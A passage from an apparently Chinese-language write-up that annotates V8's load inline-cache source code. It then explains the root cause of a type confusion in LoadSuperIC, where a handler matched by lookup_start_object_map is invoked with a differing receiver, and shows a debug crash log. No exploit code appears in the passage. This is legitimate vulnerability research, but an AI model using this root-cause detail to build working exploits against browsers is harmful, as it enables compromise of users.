// TODO(mythria): LoadGlobals don't use this path. LoadGlobals need special
// handling with proxies which is currently not supported by builtins. So
// for such cases, we should install a slow path and never reach here. Fix
// it to not generate this for LoadGlobals.
CSA_ASSERT(this,
WordNotEqual(IntPtrConstant(static_cast<int>(on_nonexistent)),
IntPtrConstant(static_cast<int>(
OnNonExistent::kThrowReferenceError))));
TVARIABLE(IntPtrT, var_index);
TVARIABLE(Name, var_unique);

Label if_index(this), if_unique_name(this),
to_name_failed(this, Label::kDeferred);

if (support_elements == kSupportElements) {
DCHECK_NE(on_nonexistent, OnNonExistent::kThrowReferenceError);

TryToName(p->name(), &if_index, &var_index, &if_unique_name, &var_unique,
&to_name_failed);

BIND(&if_unique_name);
exit_point->ReturnCallStub(
Builtins::CallableFor(isolate(), Builtins::kProxyGetProperty),
p->context(), holder, var_unique.value(), p->receiver(),
SmiConstant(on_nonexistent));

BIND(&if_index);
// TODO(mslekova): introduce TryToName that doesn't try to compute
// the intptr index value
Goto(&to_name_failed);

BIND(&to_name_failed);
// TODO(duongn): use GetPropertyWithReceiver builtin once
// |lookup_element_in_holder| supports elements.
exit_point->ReturnCallRuntime(Runtime::kGetPropertyWithReceiver,
p->context(), holder, p->name(),
p->receiver(), SmiConstant(on_nonexistent));
} else {
exit_point->ReturnCallStub(
Builtins::CallableFor(isolate(), Builtins::kProxyGetProperty),
p->context(), holder, p->name(), p->receiver(),
SmiConstant(on_nonexistent));
}
}

BIND(&global);
{
CSA_ASSERT(this, IsPropertyCell(CAST(holder)));
// Ensure the property cell doesn't contain the hole.
TNode<Object> value =
LoadObjectField(CAST(holder), PropertyCell::kValueOffset); // 读取value
TNode<Uint32T> details = Unsigned(LoadAndUntagToWord32ObjectField(
CAST(holder), PropertyCell::kPropertyDetailsRawOffset)); // 读取details
GotoIf(IsTheHole(value), miss);

exit_point->Return(CallGetterIfAccessor(value, CAST(holder), details,
p->context(), p->receiver(), miss));
}

BIND(&interceptor);
{
Comment("load_interceptor");
exit_point->ReturnCallRuntime(Runtime::kLoadPropertyWithInterceptor,
p->context(), p->name(), p->receiver(),
holder, p->slot(), p->vector());
}
BIND(&slow);
{
Comment("load_slow");
if (ic_mode == ICMode::kGlobalIC) {
exit_point->ReturnCallRuntime(Runtime::kLoadGlobalIC_Slow, p->context(),
p->name(), p->slot(), p->vector());

} else {
exit_point->ReturnCallRuntime(Runtime::kGetProperty, p->context(), holder,
p->name(), p->receiver());
}
}

BIND(&module_export);
{
Comment("module export");
TNode<UintPtrT> index =
DecodeWord<LoadHandler::ExportsIndexBits>(handler_word); // 解码得到index
TNode<Module> module = LoadObjectField<Module>(
CAST(p->receiver()), JSModuleNamespace::kModuleOffset); // 获取module
TNode<ObjectHashTable> exports =
LoadObjectField<ObjectHashTable>(module, Module::kExportsOffset); // 获取export
TNode<Cell> cell = CAST(LoadFixedArrayElement(exports, index)); // 从export得到index
// The handler is only installed for exports that exist.
TNode<Object> value = LoadCellValue(cell);
Label is_the_hole(this, Label::kDeferred);
GotoIf(IsTheHole(value), &is_the_hole);
exit_point->Return(value);

BIND(&is_the_hole);
{
TNode<Smi> message = SmiConstant(MessageTemplate::kNotDefined);
exit_point->ReturnCallRuntime(Runtime::kThrowReferenceError, p->context(),
message, p->name());
}
}

BIND(rebox_double);
exit_point->Return(AllocateHeapNumberWithValue(var_double_value->value()));
}

第四部分

1
2
3
4
5
6
7
8
9
BIND(&try_polymorphic);
{
TNode<HeapObject> strong_feedback =
GetHeapObjectIfStrong(feedback, &miss); // 判断feedback是否为强引用,不是的话则跳到miss
GotoIfNot(IsWeakFixedArrayMap(LoadMap(strong_feedback)), &stub_call); // 判断feedback是否为WeakFixedArrayMap,不是的话则跳到stub_call
HandlePolymorphicCase(lookup_start_object_map, CAST(strong_feedback), // feedback即是强引用又是WeakFixedArrayMap,则当前IC是Polymorphic状态
&if_handler, &var_handler, &miss);
}

主要判断 feedback 是否为强引用,不是的话跳到 miss ;而后又判断是否为 WeakFixedArrayMap,不是的话则跳到 stub_call ,如果都满足则当前 ICPolymorphic 状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void AccessorAssembler::HandlePolymorphicCase(
TNode<Map> lookup_start_object_map, TNode<WeakFixedArray> feedback,
Label* if_handler, TVariable<MaybeObject>* var_handler, Label* if_miss) {
Comment("HandlePolymorphicCase");
DCHECK_EQ(MachineRepresentation::kTagged, var_handler->rep());

// Iterate {feedback} array.
const int kEntrySize = 2; // feedback数组的每一个项所占的空间,有Map和handle,所以是2

// Load the {feedback} array length.
TNode<IntPtrT> length = LoadAndUntagWeakFixedArrayLength(feedback); // 得到feedback的数组长度
CSA_ASSERT(this, IntPtrLessThanOrEqual(IntPtrConstant(kEntrySize), length));

// This is a hand-crafted loop that iterates backwards and only compares
// against zero at the end, since we already know that we will have at least a
// single entry in the {feedback} array anyways.
TVARIABLE(IntPtrT, var_index, IntPtrSub(length, IntPtrConstant(kEntrySize)));
Label loop(this, &var_index), loop_next(this);
Goto(&loop);
BIND(&loop);
{
TNode<MaybeObject> maybe_cached_map =
LoadWeakFixedArrayElement(feedback, var_index.value()); // 获取缓存的map
CSA_ASSERT(this, IsWeakOrCleared(maybe_cached_map));
GotoIfNot(IsWeakReferenceTo(maybe_cached_map, lookup_start_object_map), // 检查map是否相同
&loop_next);

// Found, now call handler.
TNode<MaybeObject> handler =
LoadWeakFixedArrayElement(feedback, var_index.value(), kTaggedSize); // 找到了handler
*var_handler = handler;
Goto(if_handler); // 跳到if_handler

BIND(&loop_next);
var_index =
Signed(IntPtrSub(var_index.value(), IntPtrConstant(kEntrySize))); // 下一个entry
Branch(IntPtrGreaterThanOrEqual(var_index.value(), IntPtrConstant(0)),
&loop, if_miss); // 没有找到,则跳到miss
}
}

这一部分主要是寻找是否有匹配的 map ,如果是则使用对应的 handler ,否则跳到 miss

第五部分

1
2
3
4
5
6
7
8
9
10
11
12
13
BIND(&stub_call);
{
Comment("LoadIC_BytecodeHandler_noninlined");

// Call into the stub that implements the non-inlined parts of LoadIC.
// 本次调用没有IC,调用Builtin kLoadIC_Noninlined
Callable ic =
Builtins::CallableFor(isolate(), Builtins::kLoadIC_Noninlined);
TNode<Code> code_target = HeapConstant(ic.code());
exit_point->ReturnCallStub(ic.descriptor(), code_target, p->context(),
p->receiver_and_lookup_start_object(), p->name(),
p->slot(), p->vector());
}

跳到 stub_call 则表示此次调用没有 IC ,会调用 Builtin kLoadIC_Noninlined 也就是 AccessorAssembler::LoadIC_Noninlined

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void AccessorAssembler::LoadIC_Noninlined(const LoadICParameters* p,
TNode<Map> lookup_start_object_map,
TNode<HeapObject> feedback,
TVariable<MaybeObject>* var_handler,
Label* if_handler, Label* miss,
ExitPoint* exit_point) {
// Neither deprecated map nor monomorphic. These cases are handled in the
// bytecode handler.
CSA_ASSERT(this, Word32BinaryNot(IsDeprecatedMap(lookup_start_object_map)));
CSA_ASSERT(this, TaggedNotEqual(lookup_start_object_map, feedback));
CSA_ASSERT(this, Word32BinaryNot(IsWeakFixedArrayMap(LoadMap(feedback))));
DCHECK_EQ(MachineRepresentation::kTagged, var_handler->rep());

{
// Check megamorphic case.
GotoIfNot(TaggedEqual(feedback, MegamorphicSymbolConstant()), miss); // 检查是否为megamorphic状态

TryProbeStubCache(isolate()->load_stub_cache(), p->lookup_start_object(),
CAST(p->name()), if_handler, var_handler, miss); // 在StubCache中寻找
}
}

其针对 megamorphic 状态,在 stub cache 中寻找匹配的项目

第六部分

1
2
3
4
5
6
7
8
9
10
BIND(&no_feedback);
{
Comment("LoadIC_BytecodeHandler_nofeedback");
// Call into the stub that implements the non-inlined parts of LoadIC.
// 本次调用没有feedback,调用Builtin kLoadIC_NoFeedback
exit_point->ReturnCallStub(
Builtins::CallableFor(isolate(), Builtins::kLoadIC_NoFeedback),
p->context(), p->receiver(), p->name(),
SmiConstant(FeedbackSlotKind::kLoadProperty));
}

跳到 no_feedback 则表示此次调用没有 feedback ,会调用 Builtin kLoadIC_NoFeedback 也就是 AccessorAssembler::GenerateLoadIC_NoFeedback

1
2
3
4
5
6
7
8
9
10
11
12
13
void AccessorAssembler::GenerateLoadIC_NoFeedback() {
using Descriptor = LoadNoFeedbackDescriptor;

auto receiver = Parameter<Object>(Descriptor::kReceiver);
auto name = Parameter<Object>(Descriptor::kName);
auto context = Parameter<Context>(Descriptor::kContext);
auto ic_kind = Parameter<Smi>(Descriptor::kICKind);

LoadICParameters p(context, receiver, name,
TaggedIndexConstant(FeedbackSlot::Invalid().ToInt()),
UndefinedConstant());
LoadIC_NoFeedback(&p, ic_kind);
}

其主要调用 AccessorAssembler::LoadIC_NoFeedback

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void AccessorAssembler::LoadIC_NoFeedback(const LoadICParameters* p,
TNode<Smi> ic_kind) {
Label miss(this, Label::kDeferred);
TNode<Object> lookup_start_object = p->receiver_and_lookup_start_object(); // 获取lookup_start_object
GotoIf(TaggedIsSmi(lookup_start_object), &miss); // 如果lookup_start_object是SMI,跳到miss
TNode<Map> lookup_start_object_map = LoadMap(CAST(lookup_start_object)); // 获取lookup_start_object的map
GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss); // 如果lookup_start_object的map是否为deprecated map(过期的map),是的话跳到miss

TNode<Uint16T> instance_type = LoadMapInstanceType(lookup_start_object_map); // 获取lookup_start_object的map的实例

{
// Special case for Function.prototype load, because it's very common
// for ICs that are only executed once (MyFunc.prototype.foo = ...).
// 针对Function.prototype load的情况,通常来说由于这个情况只会出现一次,所以也不会缓存map
Label not_function_prototype(this, Label::kDeferred);
GotoIfNot(IsJSFunctionInstanceType(instance_type), &not_function_prototype); // 如果instance_type不是jsfunction的instance_type,则跳到not_function_prototype
GotoIfNot(IsPrototypeString(p->name()), &not_function_prototype); // 如果name为prototype string,则跳到not_function_prototype

GotoIfPrototypeRequiresRuntimeLookup(CAST(lookup_start_object),
lookup_start_object_map,
&not_function_prototype); // 当prototype需要runtime lookup的时候跳到not_function_prototype
Return(LoadJSFunctionPrototype(CAST(lookup_start_object), &miss)); // 获取jsfunction的prototype
BIND(&not_function_prototype);
}

GenericPropertyLoad(CAST(lookup_start_object), lookup_start_object_map,
instance_type, p, &miss, kDontUseStubCache); // 通常的prototype load的方法

BIND(&miss);
{
TailCallRuntime(Runtime::kLoadNoFeedbackIC_Miss, p->context(),
p->receiver(), p->name(), ic_kind);
}
}

AccessorAssembler::LoadIC_NoFeedback 会对 load 的情况进行区分,如果是针对 function.prototypeload 则使用 LoadJSFunctionPrototype ,否则使用 GenericPropertyLoad

如果跳到 miss ,则会到 Runtime_LoadNoFeedbackIC_Miss

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
RUNTIME_FUNCTION(Runtime_LoadNoFeedbackIC_Miss) {
HandleScope scope(isolate);
DCHECK_EQ(3, args.length());
// Runtime functions don't follow the IC's calling convention.
Handle<Object> receiver = args.at(0);
Handle<Name> key = args.at<Name>(1);
CONVERT_INT32_ARG_CHECKED(slot_kind, 2);
FeedbackSlotKind kind = static_cast<FeedbackSlotKind>(slot_kind);

Handle<FeedbackVector> vector = Handle<FeedbackVector>(); // 创建feedbackvector
FeedbackSlot vector_slot = FeedbackSlot::Invalid();
// This function is only called after looking up in the ScriptContextTable so
// it is safe to call LoadIC::Load for global loads as well.
LoadIC ic(isolate, vector, vector_slot, kind);
ic.UpdateState(receiver, key);
RETURN_RESULT_OR_FAILURE(isolate, ic.Load(receiver, key));
}

Runtime_LoadIC_Miss 差不多,见下面的解释

第七部分

1
2
3
4
5
6
7
8
BIND(&miss);
{
Comment("LoadIC_BytecodeHandler_miss");
// 本次调用miss,调用Builtin kLoadIC_Miss
exit_point->ReturnCallRuntime(Runtime::kLoadIC_Miss, p->context(),
p->receiver(), p->name(), p->slot(),
p->vector());
}

跳到 miss 则表示此次调用 miss ,会调用 ic.cc 中的 RUNTIME_FUNCTION(Runtime_LoadIC_Miss)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// ----------------------------------------------------------------------------
// Static IC stub generators.
//
//
RUNTIME_FUNCTION(Runtime_LoadIC_Miss) {
HandleScope scope(isolate);
DCHECK_EQ(4, args.length());
// Runtime functions don't follow the IC's calling convention.
Handle<Object> receiver = args.at(0);
Handle<Name> key = args.at<Name>(1);
Handle<TaggedIndex> slot = args.at<TaggedIndex>(2);
Handle<FeedbackVector> vector = args.at<FeedbackVector>(3);
FeedbackSlot vector_slot = FeedbackVector::ToSlot(slot->value());

// A monomorphic or polymorphic KeyedLoadIC with a string key can call the
// LoadIC miss handler if the handler misses. Since the vector Nexus is
// set up outside the IC, handle that here.
FeedbackSlotKind kind = vector->GetKind(vector_slot);
if (IsLoadICKind(kind)) {
LoadIC ic(isolate, vector, vector_slot, kind);
ic.UpdateState(receiver, key);
RETURN_RESULT_OR_FAILURE(isolate, ic.Load(receiver, key));

} else if (IsLoadGlobalICKind(kind)) {
DCHECK_EQ(isolate->native_context()->global_proxy(), *receiver);
receiver = isolate->global_object();
LoadGlobalIC ic(isolate, vector, vector_slot, kind);
ic.UpdateState(receiver, key);
RETURN_RESULT_OR_FAILURE(isolate, ic.Load(key));

} else {
DCHECK(IsKeyedLoadICKind(kind));
KeyedLoadIC ic(isolate, vector, vector_slot, kind);
ic.UpdateState(receiver, key);
RETURN_RESULT_OR_FAILURE(isolate, ic.Load(receiver, key));
}
}

核心逻辑主要为

1
2
3
LoadIC ic(isolate, vector, vector_slot, kind);
ic.UpdateState(receiver, key);
RETURN_RESULT_OR_FAILURE(isolate, ic.Load(receiver, key));

首先使用类 LoadIC 获取 IC 状态

1
2
3
4
5
6
7
8
9
10
11
12
IC::IC(Isolate* isolate, Handle<FeedbackVector> vector, FeedbackSlot slot,
FeedbackSlotKind kind)
: isolate_(isolate),
vector_set_(false),
kind_(kind),
target_maps_set_(false),
slow_stub_reason_(nullptr),
nexus_(vector, slot) {
DCHECK_IMPLIES(!vector.is_null(), kind_ == nexus_.kind());
state_ = (vector.is_null()) ? NO_FEEDBACK : nexus_.ic_state();
old_state_ = state_;
}

然后使用 nexus_.ic_state() 获取 IC 状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
InlineCacheState FeedbackNexus::ic_state() const {
MaybeObject feedback, extra;
std::tie(feedback, extra) = GetFeedbackPair();

switch (kind()) {
...
case FeedbackSlotKind::kLoadProperty:
case FeedbackSlotKind::kLoadKeyed:
case FeedbackSlotKind::kHasKeyed: {
if (feedback == UninitializedSentinel()) {
return UNINITIALIZED;
}
if (feedback == MegamorphicSentinel()) {
return MEGAMORPHIC;
}
if (feedback->IsWeakOrCleared()) {
// Don't check if the map is cleared.
return MONOMORPHIC;
}
HeapObject heap_object;
if (feedback->GetHeapObjectIfStrong(&heap_object)) {
if (heap_object.IsWeakFixedArray()) {
// Determine state purely by our structure, don't check if the maps
// are cleared.
return POLYMORPHIC;
}
if (heap_object.IsName()) {
DCHECK(IsKeyedLoadICKind(kind()) || IsKeyedStoreICKind(kind()) ||
IsKeyedHasICKind(kind()));
Object extra_object = extra->GetHeapObjectAssumeStrong();
WeakFixedArray extra_array = WeakFixedArray::cast(extra_object);
return extra_array.length() > 2 ? POLYMORPHIC : MONOMORPHIC;
}
}
UNREACHABLE();
}
case FeedbackSlotKind::kCall: {
HeapObject heap_object;
if (feedback == MegamorphicSentinel()) {
return GENERIC;
} else if (feedback->IsWeakOrCleared()) {
if (feedback->GetHeapObjectIfWeak(&heap_object)) {
if (heap_object.IsFeedbackCell()) {
return POLYMORPHIC;
}
CHECK(heap_object.IsJSFunction() || heap_object.IsJSBoundFunction());
}
return MONOMORPHIC;
} else if (feedback->GetHeapObjectIfStrong(&heap_object) &&
heap_object.IsAllocationSite()) {
return MONOMORPHIC;
}

CHECK_EQ(feedback, UninitializedSentinel());
return UNINITIALIZED;
}
...
case FeedbackSlotKind::kInvalid:
case FeedbackSlotKind::kKindsNumber:
UNREACHABLE();
}
return UNINITIALIZED;
}

状态获取完毕后更新 state

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void IC::UpdateState(Handle<Object> lookup_start_object, Handle<Object> name) {
if (state() == NO_FEEDBACK) return;
update_lookup_start_object_map(lookup_start_object);
if (!name->IsString()) return;
if (state() != MONOMORPHIC && state() != POLYMORPHIC) return;
if (lookup_start_object->IsNullOrUndefined(isolate())) return;

// Remove the target from the code cache if it became invalid
// because of changes in the prototype chain to avoid hitting it
// again.
// 当目标因为原型链中的更改而变得无效的时候,从cache中删除该条目
if (ShouldRecomputeHandler(Handle<String>::cast(name))) {
MarkRecomputeHandler(name);
}
}

最后调用IC.LOAD 进行 IC 设置和属性加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
MaybeHandle<Object> LoadIC::Load(Handle<Object> object, Handle<Name> name,
bool update_feedback,
Handle<Object> receiver) {
bool use_ic = (state() != NO_FEEDBACK) && FLAG_use_ic && update_feedback; // 在state不是no feedback,并且使用ic且update_feedback为真时置use_ic为true

if (receiver.is_null()) {
receiver = object;
}

// If the object is undefined or null it's illegal to try to get any
// of its properties; throw a TypeError in that case.
if (IsAnyHas() ? !object->IsJSReceiver()
: object->IsNullOrUndefined(isolate())) {
if (use_ic) {
// Ensure the IC state progresses.
TRACE_HANDLER_STATS(isolate(), LoadIC_NonReceiver);
update_lookup_start_object_map(object); // 更新lookup_start_object的map
SetCache(name, LoadHandler::LoadSlow(isolate())); // 添加缓存
TraceIC("LoadIC", name);
}

if (*name == ReadOnlyRoots(isolate()).iterator_symbol()) {
return isolate()->Throw<Object>(
ErrorUtils::NewIteratorError(isolate(), object));
}

if (IsAnyHas()) {
return TypeError(MessageTemplate::kInvalidInOperatorUse, object, name);
} else {
DCHECK(object->IsNullOrUndefined(isolate()));
ErrorUtils::ThrowLoadFromNullOrUndefined(isolate(), object, name);
return MaybeHandle<Object>();
}
}

if (MigrateDeprecated(isolate(), object)) use_ic = false; // 如果object的map过期,则置use_ic为否

JSObject::MakePrototypesFast(object, kStartAtReceiver, isolate());
update_lookup_start_object_map(object); // 更新lookup_start_object的map

LookupIterator::Key key(isolate(), name);
LookupIterator it = LookupIterator(isolate(), receiver, key, object); // 迭代器

// Named lookup in the object.
LookupForRead(&it, IsAnyHas());

if (name->IsPrivate()) {
if (!IsAnyHas() && name->IsPrivateName() && !it.IsFound()) {
Handle<String> name_string(
String::cast(Symbol::cast(*name).description()), isolate());
if (name->IsPrivateBrand()) {
Handle<String> class_name =
(name_string->length() == 0)
? isolate()->factory()->anonymous_string()
: name_string;
return TypeError(MessageTemplate::kInvalidPrivateBrand, object,
class_name);
}
return TypeError(MessageTemplate::kInvalidPrivateMemberRead, object,
name_string);
}

// IC handling of private symbols/fields lookup on JSProxy is not
// supported.
if (object->IsJSProxy()) {
use_ic = false;
}
}

if (it.IsFound() || !ShouldThrowReferenceError()) {
// Update inline cache and stub cache.
// 更新IC
if (use_ic) {
UpdateCaches(&it);
} else if (state() == NO_FEEDBACK) {
// Tracing IC stats
IsLoadGlobalIC() ? TraceIC("LoadGlobalIC", name)
: TraceIC("LoadIC", name);
}

if (IsAnyHas()) {
// Named lookup in the object.
Maybe<bool> maybe = JSReceiver::HasProperty(&it);
if (maybe.IsNothing()) return MaybeHandle<Object>();
return maybe.FromJust() ? ReadOnlyRoots(isolate()).true_value_handle()
: ReadOnlyRoots(isolate()).false_value_handle();
}

// Get the property.
Handle<Object> result;

ASSIGN_RETURN_ON_EXCEPTION(
isolate(), result, Object::GetProperty(&it, IsLoadGlobalIC()), Object);
if (it.IsFound()) {
return result;
} else if (!ShouldThrowReferenceError()) {
LOG(isolate(), SuspectReadEvent(*name, *object));
return result;
}
}
return ReferenceError(name);
}

其中 IC::SetCache 主要就是设置缓存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void IC::SetCache(Handle<Name> name, Handle<Object> handler) {
SetCache(name, MaybeObjectHandle(handler));
}

void IC::SetCache(Handle<Name> name, const MaybeObjectHandle& handler) {
DCHECK(IsHandler(*handler));
// Currently only load and store ICs support non-code handlers.
DCHECK(IsAnyLoad() || IsAnyStore() || IsAnyHas());
switch (state()) {
case NO_FEEDBACK:
UNREACHABLE();
case UNINITIALIZED:
UpdateMonomorphicIC(handler, name);
break;
case RECOMPUTE_HANDLER:
case MONOMORPHIC:
if (IsGlobalIC()) {
UpdateMonomorphicIC(handler, name);
break;
}
V8_FALLTHROUGH;
case POLYMORPHIC:
if (UpdatePolymorphicIC(name, handler)) break;
if (!is_keyed() || state() == RECOMPUTE_HANDLER) {
CopyICToMegamorphicCache(name);
}
ConfigureVectorState(MEGAMORPHIC, name);
V8_FALLTHROUGH;
case MEGAMORPHIC:
UpdateMegamorphicCache(lookup_start_object_map(), name, handler);
// Indicate that we've handled this case.
vector_set_ = true;
break;
case GENERIC:
UNREACHABLE();
}
}

LoadIC::UpdateCaches 主要是建立 handle 并更新 cache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void LoadIC::UpdateCaches(LookupIterator* lookup) {
Handle<Object> code;
if (lookup->state() == LookupIterator::ACCESS_CHECK) { // 当状态为ACCESS_CHECK的时候
code = LoadHandler::LoadSlow(isolate()); // code为slow的isolate
} else if (!lookup->IsFound()) { // 当能found的时候
TRACE_HANDLER_STATS(isolate(), LoadIC_LoadNonexistentDH);
Handle<Smi> smi_handler = LoadHandler::LoadNonExistent(isolate());
code = LoadHandler::LoadFullChain(
isolate(), lookup_start_object_map(),
MaybeObjectHandle(isolate()->factory()->null_value()), smi_handler); // 从lookup_start_object_map获取code
} else if (IsLoadGlobalIC() && lookup->state() == LookupIterator::JSPROXY) { // 当为LoadGlobalIC且状态为JSPROXY的时候
// If there is proxy just install the slow stub since we need to call the
// HasProperty trap for global loads. The ProxyGetProperty builtin doesn't
// handle this case.
Handle<Smi> slow_handler = LoadHandler::LoadSlow(isolate());
Handle<JSProxy> holder = lookup->GetHolder<JSProxy>();
code = LoadHandler::LoadFromPrototype(isolate(), lookup_start_object_map(),
holder, slow_handler);
} else {
if (IsLoadGlobalIC()) {
if (lookup->TryLookupCachedProperty()) { // 寻找cached属性
DCHECK_EQ(LookupIterator::DATA, lookup->state());
}
if (lookup->state() == LookupIterator::DATA &&
lookup->GetReceiver().is_identical_to(lookup->GetHolder<Object>())) {
DCHECK(lookup->GetReceiver()->IsJSGlobalObject());
// Now update the cell in the feedback vector.
nexus()->ConfigurePropertyCellMode(lookup->GetPropertyCell());
TraceIC("LoadGlobalIC", lookup->name());
return;
}
}
code = ComputeHandler(lookup); // 使用ComputeHandler生成code
}
// Can't use {lookup->name()} because the LookupIterator might be in
// "elements" mode for keys that are strings representing integers above
// JSArray::kMaxIndex.
SetCache(lookup->GetName(), code); // 设置新的cache
TraceIC("LoadIC", lookup->GetName());
}

RootCause

以下是漏洞挖掘者给的漏洞解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
void AccessorAssembler::LoadSuperIC(const LoadICParameters* p) {
ExitPoint direct_exit(this);

TVARIABLE(MaybeObject, var_handler);
Label if_handler(this, &var_handler), no_feedback(this),
non_inlined(this, Label::kDeferred), try_polymorphic(this),
miss(this, Label::kDeferred);

GotoIf(IsUndefined(p->vector()), &no_feedback); <------- [0]

// The lookup start object cannot be a SMI, since it's the home object's
// prototype, and it's not possible to set SMIs as prototypes.
TNode<Map> lookup_start_object_map =
LoadReceiverMap(p->lookup_start_object());
GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss);

TNode<MaybeObject> feedback = <------- [1]
TryMonomorphicCase(p->slot(), CAST(p->vector()), lookup_start_object_map,
&if_handler, &var_handler, &try_polymorphic);

BIND(&if_handler); <------- [2]
{
LazyLoadICParameters lazy_p(p);
HandleLoadICHandlerCase(&lazy_p, CAST(var_handler.value()), &miss,
&direct_exit);
}

BIND(&no_feedback); <------- [3]
{ LoadSuperIC_NoFeedback(p); }

BIND(&try_polymorphic); <------- [4]
TNode<HeapObject> strong_feedback = GetHeapObjectIfStrong(feedback, &miss);
{
Comment("LoadSuperIC_try_polymorphic");
GotoIfNot(IsWeakFixedArrayMap(LoadMap(strong_feedback)), &non_inlined);
HandlePolymorphicCase(lookup_start_object_map, CAST(strong_feedback),
&if_handler, &var_handler, &miss);
}

BIND(&non_inlined); <------- [5]
{
// LoadIC_Noninlined can be used here, since it handles the
// lookup_start_object != receiver case gracefully.
LoadIC_Noninlined(p, lookup_start_object_map, strong_feedback, &var_handler,
&if_handler, &miss, &direct_exit);
}

BIND(&miss); <------- [6]
direct_exit.ReturnCallRuntime(Runtime::kLoadWithReceiverIC_Miss, p->context(),
p->receiver(), p->lookup_start_object(),
p->name(), p->slot(), p->vector());
}

LoadSuperIC 会被调用很多次,一开始的时候由于没有 feedback ,所以逻辑是 [0] → [3]。当经过了几次调用后,feedback 此时已经产生,那么逻辑是 [1] → [4] → [5] ,同时在 [5] 的地方注释里提到 LoadIC_Noninlined 也可以很好的处理 lookup_start_object ≠ receiver 的情况。但是事实却并非如此。

当我们匹配到了 handle 的时候会走到 [2] ,其会调用 HandleLoadICHandlerCase

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void AccessorAssembler::HandleLoadICHandlerCase(
const LazyLoadICParameters* p, TNode<Object> handler, Label* miss,
ExitPoint* exit_point, ICMode ic_mode, OnNonExistent on_nonexistent,
ElementSupport support_elements, LoadAccessMode access_mode) {
Comment("have_handler");

TVARIABLE(Object, var_holder, p->lookup_start_object());
TVARIABLE(Object, var_smi_handler, handler);

Label if_smi_handler(this, {&var_holder, &var_smi_handler});
Label try_proto_handler(this, Label::kDeferred),
call_handler(this, Label::kDeferred);

Branch(TaggedIsSmi(handler), &if_smi_handler, &try_proto_handler);

BIND(&try_proto_handler);
{
GotoIf(IsCodeMap(LoadMap(CAST(handler))), &call_handler);
HandleLoadICProtoHandler(p, CAST(handler), &var_holder, &var_smi_handler,
&if_smi_handler, miss, exit_point, ic_mode,
access_mode);
}

// |handler| is a Smi, encoding what to do. See SmiHandler methods
// for the encoding format.
BIND(&if_smi_handler);
{
HandleLoadICSmiHandlerCase(
p, var_holder.value(), CAST(var_smi_handler.value()), handler, miss,
exit_point, ic_mode, on_nonexistent, support_elements, access_mode);
}

BIND(&call_handler); <------- [6]
{
exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, CAST(handler),
p->context(), p->receiver(), p->name(),
p->slot(), p->vector());
}
}

可以从之前的前置知识中知道 handle 是通过 lookup_start_object_map 匹配上的,但是最终在 [6] 的地方会使用 handle ,其却传入了一个 receiver ,当 lookup_start_object ≠ receiver 的时候便会造成类型混淆

我们看看错误信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#
# Fatal error in ../../src/compiler/code-assembler.cc, line 1726
# Type cast failed in Parameter 0 at ../../src/builtins/builtins-handler-gen.cc:315
Expected JSFunction but found 0x22290816f4f9: [JS_OBJECT_TYPE]
- map: 0x22290831ba29 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x22290816f2e9 <C map = 0x22290831b939>
- elements: 0x22290804222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x22290804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x2229082d286d: [String] in OldSpace: #x0: 1 (const data field 0), location: in-object
0x2229082d287d: [String] in OldSpace: #x1: 1 (const data field 1), location: in-object
0x2229082d288d: [String] in OldSpace: #x2: 1 (const data field 2), location: in-object
0x2229082d289d: [String] in OldSpace: #x3: 1 (const data field 3), location: in-object
0x2229082d28ad: [String] in OldSpace: #x4: 555819297 (const data field 4), location: in-object
}

#
#
#
#FailureMessage Object: 0x7ffe04dc1010
==== C stack trace ===============================

/home/anemone/Browser/Chrome/v8/v8/out.gn/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7fd329eaff5e]
/home/anemone/Browser/Chrome/v8/v8/out.gn/x64.debug/libv8_libplatform.so(+0x55b4d) [0x7fd329e2eb4d]
/home/anemone/Browser/Chrome/v8/v8/out.gn/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x231) [0x7fd329e94651]
/home/anemone/Browser/Chrome/v8/v8/out.gn/x64.debug/libv8.so(v8::internal::CheckObjectType(unsigned long, unsigned long, unsigned long)+0x5bb9) [0x7fd32d676409]
/home/anemone/Browser/Chrome/v8/v8/out.gn/x64.debug/libv8.so(+0x1a3feca) [0x7fd32b8faeca]
